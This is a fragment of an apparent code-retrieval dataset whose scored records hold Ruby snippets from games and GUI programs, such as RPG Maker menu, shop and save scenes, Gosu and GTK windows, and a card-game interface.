"text": "def setup_windows\n width_scale = ASM::graphics_width_scale\n height_scale = ASM::graphics_height_scale\n \n\t\twindow = ASM_Window_TitleCommand.new(20)\n window.set_handler(:newgame, method(:command_new_game))\n window.set_handler(:continue, method(:command_continue))\n window.set_handler(:options, method(:command_options))\n window.set_handler(:credits, method(:command_credits))\n window.set_handler(:quit, method(:command_shutdown))\n\t\t\n create_window(0, window, 0)\n @command_window = window\n end",
"title": ""
},
{
"docid": "9db741bc049348e715f54569f963a857",
"score": "0.5971707",
"text": "def new_game(sender) \n button_view.hidden = true\n status_view.hidden = false\n # reset the lives\n lives.attributedStringValue = GameConfig.starting_lives.to_s\n\t content_view.becomeFirstResponder\n # setup the new game objects\n background_layer.change_image(\"background_level_1\")\n GameData.restart_game!\n GameData.setup_new_game\n # start the game loop\n start_refreshing\n GameData.game_on!\n set_game_level_display\n end",
"title": ""
},
{
"docid": "214188ec16ef8e4c2f6241cbb267b270",
"score": "0.59619856",
"text": "def active_window\n end",
"title": ""
},
{
"docid": "214188ec16ef8e4c2f6241cbb267b270",
"score": "0.59619856",
"text": "def active_window\n end",
"title": ""
},
{
"docid": "af3f44bb4a714bcd1d4f0e8425853b8d",
"score": "0.5955968",
"text": "def start\n super\n create_menu_background()\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n @actor = $game_party.members[@actor_index]\n \n @char_image_window = Window_Char_Image.new(-16, 56+16, 640, 424, @actor)\n @char_image_window.opacity = 0\n @char_info_window = Window_Char_Info.new(0, 0, 200, 128, @actor)\n @char_info_window.ucExp.visible = false\n @char_info_window.ucExpGauge.visible = false\n @char_info_window.ucTotalExp.visible = false\n @char_info_window.refresh()\n\n @item_window = Window_Equip_Item.new(425, 40, 215, 272 + 72, @actor, @equip_index)\n @item_window.active = false\n @item_window.index = -1\n @item_window.window_update($game_party.items)\n \n @equip_window = Window_Status_Equip.new(200, 40, 225, 272, @actor)\n @equip_window.active = false\n @equip_window.height = @equip_window.height + 72\n @equip_window.index = @equip_index\n\n @status_window = Window_Equip_Compare_Status.new(200, 40, 225, 344, @actor)\n @status_window.active = false \n @status_window.visible = false\n \n @help_window = Window_Info_Help.new(0, 384, 640, 96, nil)\n @equip_window.help_window = @help_window\n @item_window.help_window = @help_window\n \n @equip_details_window = Window_EquipDetails.new(0,384,640,96,nil)\n @equip_details_window.visible = false\n @equip_window.detail_window = @equip_details_window\n @item_window.detail_window = @equip_details_window\n \n @command_window = Window_Command.new(200, \n [Vocab::equip_command, \n Vocab::equip_optimize_command, \n Vocab::equip_remove_command,\n Vocab::equip_remove_all_command], 2)\n @command_window.opacity = 0\n @command_window.x = 0\n @command_window.y = 48\n @command_window.active = true\n \n @optimize_modes_window = Window_Optimize_Modes.new(0, 0, 400, 64, MENU_CONFIG::OPTIMIZE_MODES)\n @optimize_modes_window.visible = false\n @optimize_modes_window.active = false\n @optimize_modes_window.help_window = @help_window\n \n @optimize_modes_window_headers = Window_Selectable_Headers.new(@optimize_modes_window)\n width_remain = (640 - @optimize_modes_window_headers.width)/2\n @optimize_modes_window_headers.x = width_remain.floor\n height_remain = (480 - @optimize_modes_window_headers.height)/2\n @optimize_modes_window_headers.y = height_remain.floor\n @optimize_modes_window_headers.visible = false\n @optimize_modes_window_headers.addHeader(Vocab::optimize_mode_text, \n 0, @optimize_modes_window.contents.width, \n 1, Font.optimize_mode_header_font)\n @optimize_modes_window_headers.refresh()\n end",
"title": ""
},
{
"docid": "122fc6607f5076527c3dc56b7480b1c7",
"score": "0.5955032",
"text": "def create\n @icons_app.each do |k,v|\n v.create\n end\n # local variables\n \n refresh_settings\n \n #splitter position\n gfxgui_settings = @app_settings['guigfx']\n @split_horiz_netw.setSplit(0, gfxgui_settings[:splitter_network]) if @split_horiz_netw\n @splitter_ntw_log.setSplit(0, gfxgui_settings[:splitter_log_network]) if @splitter_ntw_log\n \n # window size\n ww = gfxgui_settings[:ww_mainwin]\n hh = gfxgui_settings[:hh_mainwin]\n \n # continue to insert item into giochi menu\n FXMenuSeparator.new(@giochimenu)\n FXMenuCommand.new(@giochimenu, \"Opzioni\").connect(SEL_COMMAND, method(:mnu_cuperativa_options))\n FXMenuSeparator.new(@giochimenu)\n FXMenuCommand.new(@giochimenu, \"&Esci\").connect(SEL_COMMAND, method(:onCmdQuit))\n \n # Reposition window to specified x, y, w and h\n position(0, 0, ww, hh)\n \n # Create the main window and canvas\n super \n # Show the main window\n show(PLACEMENT_SCREEN)\n \n # default game or last selected\n game_type = @app_settings[\"curr_game\"]\n #p @supported_game_map\n # initialize only an enabled game. An enabled game is a supported game.\n # Game disabled are not in the @supported_game_map. This to avoid to build poperties and\n # custom widgets\n if @supported_game_map[game_type]\n if @supported_game_map[game_type][:enabled]\n initialize_current_gfx(game_type)\n end\n else\n # default game is not supported, initialize the first enable game\n @corelogger.debug(\"Default game not enabled, look for the first enabled one\")\n @supported_game_map.each do |k, game_info_h|\n game_type = k\n if game_info_h[:enabled]\n initialize_current_gfx(game_type)\n break\n end\n end\n end\n log_sometext(\"Benvenuta/o nella Cuperativa versione #{VER_PRG_STR}\\n\") \n log_sometext(\"Ora puoi giocare a carte in internet oppure giocare contro il computer.\\n\")\n @model_net_data.event_cupe_raised(:ev_gui_controls_created) \n end",
"title": ""
},
{
"docid": "ee5398f56f3c8c169c584874956e3cae",
"score": "0.59524447",
"text": "def reset_gab\n @gab_window.dispose\n @gab_window = Window_Gab.new\n end",
"title": ""
},
{
"docid": "3bbd60b16ec3cb8727e1fa10c265da0d",
"score": "0.5945256",
"text": "def local_window; end",
"title": ""
},
{
"docid": "3bbd60b16ec3cb8727e1fa10c265da0d",
"score": "0.5945256",
"text": "def local_window; end",
"title": ""
},
{
"docid": "8054aa00d0c7f4651089cd040336419b",
"score": "0.5942479",
"text": "def show_gold_window\r\n return if @gold_window\r\n @gold_window = ::Game_Window.new(self.viewport)\r\n wb = @gold_window.window_builder = ::GameData::Windows::MessageHGSS\r\n @gold_window.y = 2\r\n @gold_window.z = self.z + 1\r\n @gold_window.width = 96 + self.windowskin.width - wb[2]\r\n @gold_window.height = 32 + self.windowskin.height - wb[3]\r\n @gold_window.x = 318 - @gold_window.width\r\n @gold_window.windowskin = self.windowskin\r\n @gold_window.add_text(0, 0, 96, 16, ::GameData::Text.get(11, 6))\r\n @gold_window.add_text(0, 16, 96, 16, ::PFM::Text.parse(11, 9, ::PFM::Text::NUM7R => $pokemon_party.money.to_s), 2)\r\n end",
"title": ""
},
{
"docid": "d0fba436cd41c8674310c613cfe1a52d",
"score": "0.5887792",
"text": "def on_ready\n window = GameWindow.new\n window.show \n rescue Exception => e\n puts \"#{ e } (#{ e.class } #{e.message} #{e.backtrace.inspect} )!\" \n end",
"title": ""
},
{
"docid": "598896b200d32246d1758205dfad7374",
"score": "0.5877257",
"text": "def new_window(type); end",
"title": ""
},
{
"docid": "df17a7122af74c0f1fe9472e34c89dd8",
"score": "0.58761066",
"text": "def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # Set airwall to single pane simple glazing\n window_simple = OpenStudio::Model::SimpleGlazing.new(model, 3.7642, 0.78)\n window_simple.setVisibleTransmittance(0.9)\n window_construction = OpenStudio::Model::Construction.new(model)\n window_construction.insertLayer(0, window_simple)\n\n model.getSubSurfaces.each do |sub_surface|\n if sub_surface.isAirWall\n sub_surface.setConstruction(window_construction)\n end\n end\n\n return true\n end",
"title": ""
},
{
"docid": "478c2bf098145650faf603dac2e804b1",
"score": "0.5875735",
"text": "def initiate_game\n end",
"title": ""
},
{
"docid": "f758b8d760c1837d154c3a6ecf883002",
"score": "0.5874143",
"text": "def onStart\r\n puts \"MyStateObj activated.\"\r\n #Since Gosu only allows one window instance at a time, the current\r\n #window is automatically sotred in the global $window.\r\n $window.setBackground(\"img/bgblue.png\")\r\n #Whats a GUI Library without widgets?\r\n #A textbox:\r\n $textbox = GGLib::TextBox.new(\"textbox1\", 220, 100, 12, GGLib::Themes::BlueSteel)\r\n #Some buttons:\r\n GGLib::Button.new(:button1, \"Click Me\", 270, 50, Proc.new{ |widget| $textbox.text = \"Thank you\" }, GGLib::Themes::BlueSteel)\r\n GGLib::Button.new(:button2, \"Exit\", 270, 200, Proc.new{ |widget| $window.close; exit }, GGLib::Themes::BlueSteel)\r\n end",
"title": ""
},
{
"docid": "6595a638fa316b838396baf8761096a6",
"score": "0.5867778",
"text": "def initialize(window)\n super()\n @window = window\n @parent = nil\n @children = []\n @is_visible = true\n @is_tangible = true\n @are_children_visible = true\n @are_children_tangible = true\n @is_mask = false\n @color = Gosu::Color.from_hsv(rand(360), rand(), rand())\n end",
"title": ""
},
{
"docid": "87007a20c737525c16042037ec570a75",
"score": "0.5860332",
"text": "def main\n # create viewport\n @view = Viewport.new(0, 0, 640, 480)\n # set screen tint\n @view.tone = @tone\n # create map scene\n $scene = Scene_Map.new\n # delete viewport\n @view.dispose\n end",
"title": ""
},
{
"docid": "87007a20c737525c16042037ec570a75",
"score": "0.5860332",
"text": "def main\n # create viewport\n @view = Viewport.new(0, 0, 640, 480)\n # set screen tint\n @view.tone = @tone\n # create map scene\n $scene = Scene_Map.new\n # delete viewport\n @view.dispose\n end",
"title": ""
},
{
"docid": "79e830c32ae6898192243353259026bf",
"score": "0.58573157",
"text": "def initialize\r\n super\r\n @mode = :additive\r\n #print \"Se crea una burbuja\"\r\n @image = Image[\"burbuja2.png\"]\r\n @x = rand($window.width)\r\n @y = rand(50) + $window.height - 50\r\n @z = 1\r\n end",
"title": ""
},
{
"docid": "d684be0a051716628143aa8ac6695b7e",
"score": "0.5848268",
"text": "def on_sub_librairies_ok\n case @librairies_window.current_symbol\n when :synopsis\n #SceneManager.call(Scene_Skill)\n when :world_map\n #SceneManager.call(Scene_Skill)\n when :monster_list\n #SceneManager.call(Scene_Equip)\n when :collector_book\n #SceneManager.call(Scene_Status)\n end\n end",
"title": ""
},
{
"docid": "fd637788bfb34a347e3355523adfba8d",
"score": "0.5845782",
"text": "def thing_to_show_again\n @log_window.show_background_box #show log window black box background\n @log_window.show #show log window\n show_extra_gauges if $imported[\"YEA-BattleEngine\"] #show extra gauge\n @info_viewport.visible = true #show info viewport\n end",
"title": ""
},
{
"docid": "4095850964bf5487b6bbc0bbe32851dc",
"score": "0.5843218",
"text": "def show_windows\n end",
"title": ""
},
{
"docid": "c07287de0f79191a70f8d1ddbb11be79",
"score": "0.5837719",
"text": "def initialize(window,*choices)\n @window = window\n @starting = true\n super(@window.x,@window.y,32,32)\n self.viewport = @window.viewport\n self.width = @window.width\n self.height = @window.height\n @commands = list_filter(choices)\n self.active = true\n self.windowskin = nil\n self.baseColor = @window.textColor\n self.shadowColor = nil\n self.contents.font.name = @window.fontName\n self.contents.font.size = 20\n refresh\n @starting = false\n end",
"title": ""
},
{
"docid": "6db39e2432f1a7f5eced583b55687381",
"score": "0.5804827",
"text": "def opening_animation\n end",
"title": ""
},
{
"docid": "538c598aae3103cb2047affe2c455510",
"score": "0.58016455",
"text": "def main\n start(0)\n main_spriteset\n main_actor\n main_command\n main_status\n main_confirm\n main_help\n @main_command.active = false\n Graphics.transition\n loop do\n Graphics.update\n Input.update\n update\n if $scene != self\n break\n end\n end\n dispose_windows\n end",
"title": ""
},
{
"docid": "7406a0e6ac64c0b475107272f7644c38",
"score": "0.5795344",
"text": "def setup_windows\n width_scale = ASM::graphics_width_scale\n height_scale = ASM::graphics_height_scale\n \n\t\tx = 5 * width_scale\n\t\ty = 50 * height_scale\n \n window = ASM_Window_MenuCommand.new(x, y, 20)\n\t\twindow.set_angle(0)\n window.set_handler(:items, method(:command_item))\n window.set_handler(:save, method(:command_save))\n window.set_handler(:options, method(:command_options))\n window.set_handler(:credits, method(:command_credits))\n window.set_handler(:quit, method(:command_game_end))\n window.set_handler(:cancel, method(:return_scene))\n \n create_window(0, window, 0)\n @command_window = window\n \n\t\tx = Graphics.width - 200 - (60 * width_scale)\n\t\ty = 45 * height_scale\n \n window = ASM_Window_CashBox.new(x, y, @skipped)\n create_window(1, window, 0)\n \n\t\tx -= 200\n\t\ty -= 10\n \n window = ASM_Window_LocationBox.new(x, y, @skipped)\n create_window(2, window, 0)\n \n\t\tx = 0\n\t\ty = Graphics.height - (250 * height_scale)\n \n window = ASM_Window_PhoneBox.new(x, y, @skipped)\n create_window(3, window, 0)\n end",
"title": ""
},
{
"docid": "1f6e4d2d931a889a07c058a7adf47cee",
"score": "0.5792897",
"text": "def pbSceneStandby\r\n $scene.disposeSpritesets if $scene && $scene.is_a?(Scene_Map)\r\n RPG::Cache.clear\r\n Graphics.frame_reset\r\n yield\r\n $scene.createSpritesets if $scene && $scene.is_a?(Scene_Map)\r\nend",
"title": ""
},
{
"docid": "25d4906d44247ce273f8cc942df12b53",
"score": "0.57841",
"text": "def show\n\t\t@gtkObject.show_all\n\tend",
"title": ""
},
{
"docid": "71e12065bcc33baa6c148b4de5937e2a",
"score": "0.57715386",
"text": "def update_before_main\n # updates path finder\n $BlizzABS.AI.update\n # update window\n @window.update\n # if window is active\n if @window.active\n # if B is pressed\n if Input.trigger?(Input::B)\n # play cancel sound\n $game_system.se_play($data_system.cancel_se)\n # create map scene\n $scene = Scene_Map.new\n # exit this scene\n return true\n # if C is pressed\n elsif Input.trigger?(Input::C)\n # which option\n case @window.index\n when 0\n # play sound\n $game_system.se_play($data_system.decision_se)\n # set in_battle flag\n $game_temp.in_battle = false\n when 1\n # if not actors in the party\n if $game_party.actors.size == 0\n # play buzzer sound effect\n $game_system.se_play($data_system.buzzer_se)\n # exit method\n return\n end\n # play sound\n $game_system.se_play($data_system.decision_se)\n # create hotkey assignment scene with the current screen tint\n $scene = Scene_Hotkeys.new(@view.tone)\n when 2\n # if not actors in the party\n if $game_party.actors.size == 0\n # play buzzer sound effect\n $game_system.se_play($data_system.buzzer_se)\n # exit method\n return\n end\n # play sound\n $game_system.se_play($data_system.decision_se)\n # create AI setup scene with the current screen tint\n $scene = Scene_AI_Behavior.new(@view.tone)\n when 3\n # if not actors in the party\n if $game_party.actors.size == 0\n # play buzzer sound effect\n $game_system.se_play($data_system.buzzer_se)\n # exit method\n return\n end\n # play sound\n $game_system.se_play($data_system.decision_se)\n # create AI setup scene with the current screen tint\n $scene = Scene_AI_Triggers.new(@view.tone)\n when 4\n # play sound\n $game_system.se_play($data_system.decision_se)\n # create map scene\n $scene = Scene_Map.new\n end\n # exit this scene\n return true\n end\n end\n # don't exit this scene\n return false\n end",
"title": ""
},
{
"docid": "c4c0e883875d869b9b8841bc56cf330a",
"score": "0.5770797",
"text": "def spawn host\r\n @gui = Encumber::GUI.new host\r\nend",
"title": ""
},
{
"docid": "813f2e2c67829e1fc3b1cac262c0bb80",
"score": "0.5762428",
"text": "def main\n start\n $scene = nil\n end",
"title": ""
},
{
"docid": "8df59f1d592f2f1e61d07cb3dbd7a20e",
"score": "0.57474434",
"text": "def command_customloading_three\r\n #close_command_window\r\n DataManager.load_game(3)\r\n $game_system.on_after_load\r\n SceneManager.goto(Scene_Map)\r\n end",
"title": ""
},
{
"docid": "ff803c18d2d1496e0af47fd104bf3d22",
"score": "0.5745434",
"text": "def main\n data_load\n title_animation unless debug? && (ARGV.include?('skip_title') || PSDK_CONFIG.skip_title_in_debug)\n if $scene == self\n Yuki::MapLinker.reset\n GamePlay::Load.new(#> Suppression de sauvegarde : X+B+Haut\n Input.press?(:X) &\n Input.press?(:B) &\n Input.press?(:UP)).main\n end\n end",
"title": ""
},
{
"docid": "8f1eb1cf888dad7df2900b536e9c41ee",
"score": "0.5745074",
"text": "def start_game\n\n end",
"title": ""
},
{
"docid": "996eb88bcebc647d22b03df45b940aff",
"score": "0.5740901",
"text": "def launch!\n intro\n menu\n end",
"title": ""
},
{
"docid": "788608fbf0c2e5ec323a72e3b253f929",
"score": "0.57245743",
"text": "def reset_gab\n SceneManager.scene.reset_gab\n end",
"title": ""
},
{
"docid": "90e470c08850063a9f45d2ccb9c01df9",
"score": "0.5717617",
"text": "def start\n super\n create_menu_background\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n @help_window = Window_Help.new\n @help_window.width = 640\n @saves_list = []\n (0..MAX_SAVE_SLOT-1).each do |i|\n @saves_list << SaveData.new(SLOT_NAME.clone.gsub!(/\\{ID\\}/i) { (i+1).to_s }, \n make_filename(i))\n end\n @window_slotdetail = Window_Slot_Details.new(160, 56, 480, 424, nil)\n @window_slotlist = Window_Slot_List.new(0, 56, 160, 424, @saves_list)\n if OPACITY_DEFAULT == false\n @help_window.opacity = NSS_WINDOW_OPACITY\n @window_slotlist.opacity = NSS_WINDOW_OPACITY\n @window_slotdetail.opacity = NSS_WINDOW_OPACITY\n end\n \n @confirm_window = Window_Confirmation.new(220, 212, SFC_Window_Width, \n Vocab::confirm_save_text,\n Vocab::confirm_yes_text,\n Vocab::confirm_no_text)\n @confirm_window.active = false\n @confirm_window.visible = false\n \n # Create Folder for Save file\n if SAVE_PATH != ''\n Dir.mkdir(SAVE_PATH) if !FileTest.directory?(SAVE_PATH)\n end\n if @saving\n @index = $game_temp.last_file_index\n @help_window.set_text(Vocab::SaveMessage)\n else\n @index = latest_file_index()\n @help_window.set_text(Vocab::LoadMessage)\n end\n @window_slotlist.index = @index\n # Draw Information\n @last_slot_index = @window_slotlist.index\n @window_slotdetail.window_update(@saves_list[@last_slot_index])\n end",
"title": ""
},
{
"docid": "d30343ede58c32c5b777c70315828887",
"score": "0.5716993",
"text": "def main_spriteset ; end",
"title": ""
},
{
"docid": "56975885931f2f4aaca0fb54703192f2",
"score": "0.57152367",
"text": "def start\n super\n create_menu_background\n @picks_window = Window_Picks.new if CP::LOCKPICK::SETTINGS::SHOW_REMAINING\n @picks_window.z = 4 if CP::LOCKPICK::SETTINGS::SHOW_REMAINING\n create_lock\n create_key\n create_pick if @haspicks\n key_math\n end",
"title": ""
},
{
"docid": "613a8e040a7596af8348364440cde65c",
"score": "0.56948876",
"text": "def launch\n end",
"title": ""
},
{
"docid": "454fc71336ddecae7bb4c100859a6aa1",
"score": "0.5684591",
"text": "def gab_h(num, fh = true)\n SceneManager.scene.gab_h(num, fh)\n end",
"title": ""
},
{
"docid": "58a610089a747b694056c12009ee5fd4",
"score": "0.5681623",
"text": "def new_test\n app = MainApplication.new TEST_SETTINGS\n app.start\n app.maximize # TODO: Seems like dragging doesn't work unless we are maximized.\n sleep 2 # TODO: hackish pause, CanvasView is not ready otherwise..\n app.define_path 'canvas', 'mainPage.mainPane.topView.bottomRightView.bottomRightView', CanvasView\n app.define_path 'palette', 'mainPage.mainPane.topView.topLeftView.contentView', View\n app.define_path 'story', 'mainPage.mainPane.topView.bottomRightView.topLeftView', LabelView\n return app\nend",
"title": ""
},
{
"docid": "c7ae008f98bc591534f9676db88442ef",
"score": "0.5680453",
"text": "def start\n super\n create_menu_background()\n\n if SHOP_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(SHOP_CONFIG::IMAGE_BG)\n @bg.opacity = SHOP_CONFIG::IMAGE_BG_OPACITY\n end\n \n @help_window = Window_Info_Help.new(0, 384, 640, 96, nil)\n @help_window.visible = false\n @gold_window = Window_ShopGold.new(440, 0, 200, 56)\n @gold_window.visible = true\n @shop_name_window = Window_ShopName.new(0, 0, 440, 56, $game_temp.shop_name)\n @shop_name_window.visible = true\n @equip_details_window = Window_EquipDetails.new(0, 384, 640, 96, nil)\n @equip_details_window.visible = false\n @item_details_window = Window_ItemDetails.new(0, 384, 640, 96, nil)\n @item_details_window.visible = false\n \n # Specify where are stored the characters to show in the shop\n characters = []\n characters.concat($game_party.members)\n # Optional (if you have other party members which aren't in the $game_party\n # you can add them here)\n # ex.: characters.concat($game_party.other_members)\n \n @status_window = Window_ShopStatus.new(0, 56, 240, 328, characters)\n @status_window.visible = false\n @status_window.active = false\n @transaction_window = Window_Transaction.new(240, 328, 400, 56, nil, nil)\n @transaction_window.visible = false \n \n @buy_window = Window_ShopBuy.new(240, 56, 400, 272, goods_to_items($game_temp.shop_goods))\n @buy_window.active = false\n @buy_window.visible = false\n @buy_window.help_window = @help_window\n \n @sell_window = Window_ShopSell.new(240, 56, 400, 272, $game_party.items)\n @sell_window.active = false\n @sell_window.visible = false\n @sell_window.help_window = @help_window\n \n create_command_window()\n @confirm_buy_window = create_confirmation_window(Vocab::confirm_buy_text)\n @confirm_sell_window = create_confirmation_window(Vocab::confirm_sell_text) \n \n [@help_window, @gold_window, @shop_name_window, @status_window,\n @equip_details_window, @item_details_window, @confirm_buy_window, @confirm_sell_window,\n @command_window, @buy_window, @sell_window, @transaction_window].each{\n |w| w.opacity = SHOP_CONFIG::WINDOW_OPACITY;\n w.back_opacity = SHOP_CONFIG::WINDOW_BACK_OPACITY\n }\n end",
"title": ""
},
{
"docid": "2eaec8958275e9e075db11a67e52bd49",
"score": "0.5679531",
"text": "def init\r\n init_env\r\n init_battle_scene\r\n end",
"title": ""
},
{
"docid": "48c0a0cf82c0a7859b338499a651c6bf",
"score": "0.56791615",
"text": "def pbStartScene\n @sprites={}\n @viewport=Viewport.new(0,0,Graphics.width, Graphics.height)\n @viewport.z=99999\n # Comment the below line to doesn't use a background\n addBackgroundPlane(@sprites,\"bg\",\"hallfamebg\",@viewport)\n @sprites[\"hallbars\"]=IconSprite.new(@viewport)\n @sprites[\"hallbars\"].setBitmap(\"Graphics/Pictures/hallfamebars\")\n @sprites[\"overlay\"]=BitmapSprite.new(Graphics.width,Graphics.height,@viewport)\n @sprites[\"overlay\"].z=10\n pbSetSystemFont(@sprites[\"overlay\"].bitmap)\n @alreadyFadedInEnd=false\n @useMusic=false\n @battlerIndex=0\n @hallEntry=[]\n end",
"title": ""
},
{
"docid": "a6d62e6711495698fb6d2d05a7caff20",
"score": "0.5678772",
"text": "def initialize(parent_wnd)\r\n super(parent_wnd)\r\n \r\n @core_game = nil\r\n @splash_name = File.join(@resource_path, \"icons/mariazza_title_trasp.png\")\r\n @algorithm_name = \"AlgCpuMariazza\" \r\n @core_name_class = 'CoreGameMariazza'\r\n @log = Log4r::Logger.new(\"coregame_log::MariazzaGfx\") \r\n \r\n init_command_buttons\r\n end",
"title": ""
},
{
"docid": "71a9074b5fcd728ee59a6ac58987b9eb",
"score": "0.5678525",
"text": "def set_main\n end",
"title": ""
},
{
"docid": "69c1ba822b9b2757c2118697cebe1901",
"score": "0.56784964",
"text": "def show\n\t\t@gtkObject.show\n\tend",
"title": ""
},
{
"docid": "5da4cca5df2fe12cefa14d9293df225b",
"score": "0.5676813",
"text": "def call_title\n $game_temp.next_scene = nil\n $scene = Scene_Title.new\n @message_window.clear\n Graphics.fadeout(60)\n end",
"title": ""
},
{
"docid": "cbf564f521ad637c54cd396972e12354",
"score": "0.5675744",
"text": "def initialize(sceneCombat, gameBattle)\n @window_gameBoard = sceneCombat.getWindowGameBoard()\n # @window_heroEquipment = sceneCombat.getWindowHeroEquipment()\n @window_heroMagicBars = sceneCombat.getWindowHeroMagicBars()\n @window_gameVs = sceneCombat.getWindowGameVs()\n \n @sceneCombat = sceneCombat\n @gameBattle = gameBattle\n \n @isSecondClick = false\n @firstGem = nil\n @secondGem = nil\n \n @firstCursorPosX = 0\n @firstCursorPosY = 0\n @secondCursorPosX = 0\n @secondCursorPosY = 0\n end",
"title": ""
},
{
"docid": "65ac67fd68bcfddd734c7a71300a6ee9",
"score": "0.5674474",
"text": "def gabmod(text, case1 = nil, case2 = nil, case3 = nil)\n if case1.is_a?(Integer)\n case1 = $game_party.members[case1.abs].id if case1 <= 0\n actor = $game_actors[case1]\n if !actor.nil?\n case1 = case3 ? actor.character_name : actor.face_name\n case2 = case3 ? actor.character_index : actor.face_index\n end\n elsif case1.is_a?(String)\n case2 = 0 if case2.nil?\n end\n SceneManager.scene.setup_gab_window(text, case1, case2, case3)\n end",
"title": ""
},
{
"docid": "f761ae9d838c7dbb378f317a07d5f269",
"score": "0.5674354",
"text": "def initialize(win)\n @win = win\n\n boite = Gtk::Fixed.new()\n @layoutManager = Gtk::Box.new(:vertical)\n\n fleche = Gtk::Button.new(:label => \"\")\n demarrer = Gtk::Button.new(:label => \"\")\n reprendre = Gtk::Button.new(:label => \"\")\n progression = Gtk::Button.new(:label => \"\")\n quitter = Gtk::Button.new(:label => \"\")\n\n boite.add(Gtk::Image.new(:file => \"../maquettes/menu-aventure.png\"))\n @layoutManager.add(boite)\n\n ##\n # Ajout des signaux des boutons\n quitter.signal_connect(\"clicked\"){\n @win.destroy\n Gtk.main_quit\n begin\n exit!\n rescue SystemExit\n end\n }\n\n widthOptionsPrincipales = 500\n heightOptionsPrincipales = 80\n width = 280\n height = 57\n\n heightEcran = $heightEcran\n widhtEcran = $widthEcran\n\n affiche_chapitre(derniereMap(), boite)\n\n # Ajoute les boutons du menu\n\n ajouteBouton(boite, fleche, 2, 65, 60, 20, 10, method(:vers_menu), nil, nil)\n ajouteBouton(boite, demarrer, 2, widthOptionsPrincipales, heightOptionsPrincipales, widhtEcran * 0.25, heightEcran * 0.5, method(:nouvellePartie_VersJeu), nil, nil)\n ajouteBouton(boite, reprendre, 2, widthOptionsPrincipales, heightOptionsPrincipales, widhtEcran * 0.25, heightEcran * 0.65, method(:vers_jeu), nil, nil)\n ajouteBouton(boite, progression, 2, widthOptionsPrincipales * 1.2, heightOptionsPrincipales, widhtEcran * 0.22, heightEcran * 0.8, method(:vers_progression), nil, nil)\n ajouteBouton(boite, quitter, 2, width, height, widhtEcran * 0.75, heightEcran * 0.885, nil, nil, nil)\n\n\n @win.add(@layoutManager)\n\n @win.show_all\n Gtk.main\n end",
"title": ""
},
{
"docid": "631d9f13d4c5b6c54b4985f8a537e151",
"score": "0.5669768",
"text": "def update_before_main\n # update window\n @window.update\n # if window is active\n if @window.active\n # if B is pressed\n if Input.trigger?(Input::B)\n # play cancel sound\n $game_system.se_play($data_system.cancel_se)\n # create map scene\n $scene = Scene_Map.new\n # exit this scene\n return true\n # if C is pressed\n elsif Input.trigger?(Input::C)\n # which option\n case @window.index\n when 0\n # play sound\n $game_system.se_play($data_system.decision_se)\n # set in_battle flag\n $game_temp.in_battle = false\n when 1\n # play buzzer sound effect\n $game_system.se_play($data_system.buzzer_se)\n # don't exit this scene\n return false\n when 2\n # play sound\n $game_system.se_play($data_system.decision_se)\n # create hotkey assignment scene with the current screen tint\n $scene = Scene_Controls.new(@view.tone)\n when 3\n # play sound\n $game_system.se_play($data_system.decision_se)\n # create map scene\n $scene = Scene_Map.new\n end\n # exit this scene\n return true\n end\n end\n # don't exit this scene\n return false\n end",
"title": ""
},
{
"docid": "631d9f13d4c5b6c54b4985f8a537e151",
"score": "0.5669768",
"text": "def update_before_main\n # update window\n @window.update\n # if window is active\n if @window.active\n # if B is pressed\n if Input.trigger?(Input::B)\n # play cancel sound\n $game_system.se_play($data_system.cancel_se)\n # create map scene\n $scene = Scene_Map.new\n # exit this scene\n return true\n # if C is pressed\n elsif Input.trigger?(Input::C)\n # which option\n case @window.index\n when 0\n # play sound\n $game_system.se_play($data_system.decision_se)\n # set in_battle flag\n $game_temp.in_battle = false\n when 1\n # play buzzer sound effect\n $game_system.se_play($data_system.buzzer_se)\n # don't exit this scene\n return false\n when 2\n # play sound\n $game_system.se_play($data_system.decision_se)\n # create hotkey assignment scene with the current screen tint\n $scene = Scene_Controls.new(@view.tone)\n when 3\n # play sound\n $game_system.se_play($data_system.decision_se)\n # create map scene\n $scene = Scene_Map.new\n end\n # exit this scene\n return true\n end\n end\n # don't exit this scene\n return false\n end",
"title": ""
},
{
"docid": "acedb45161c15263d2fc74891f141fe5",
"score": "0.5658659",
"text": "def prepare_scene\n super\n mark('#prepare_scene: begin')\n\n # Just some shared random numbers\n @random_lengths = Array.new(10) { rand(160) + 40 }\n\n # Choose a random color to use for the various elements.\n change_color\n\n # -------------------------------------------------------------------------\n # Panels\n\n @glass = GlassPanel.new(600, 600)\n @glass.x = 550\n @glass.y = 60\n @glass_label = { x: 600, y: 685, text: \"Glass panel cuts: #{@glass.cuts}\" }.merge(DEBUG_LABEL_COLOR)\n\n cur_w = 64 + 200 + (200 * Zif.ease($gtk.args.tick_count, @random_lengths[1])).floor\n cur_h = 64 + 200 + (200 * Zif.ease($gtk.args.tick_count, @random_lengths[2])).floor\n @metal = MetalPanel.new(cur_w, cur_h, 'Hello World', @cur_color)\n @metal.x = 20\n @metal.y = 160\n @metal_label = {\n x: 20,\n y: 660,\n text: 'Scaling custom 9-slice'\n }.merge(DEBUG_LABEL_COLOR)\n\n # This is the center gray \"cutout\" inside the metal panel\n @cutout = MetalCutout.new(cur_w - 50, cur_h - 100)\n @cutout.x = 20 + 25\n @cutout.y = 160 + 25\n\n @wrapping_label = FutureLabel.new(\n \"Lorem ipsum\\ndolor sit\\namet,\\nconsectetur adipiscing\\n\\nelit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.\",\n size: -2,\n alignment: :left,\n blend: :alpha\n ).tap do |l|\n l.x = @cutout.x + 10\n l.y = @cutout.y + @cutout.h - 10\n l.r = 0\n l.g = 0\n l.b = 0\n l.a = 255\n end\n\n # -------------------------------------------------------------------------\n # Progress bars\n @count_progress = 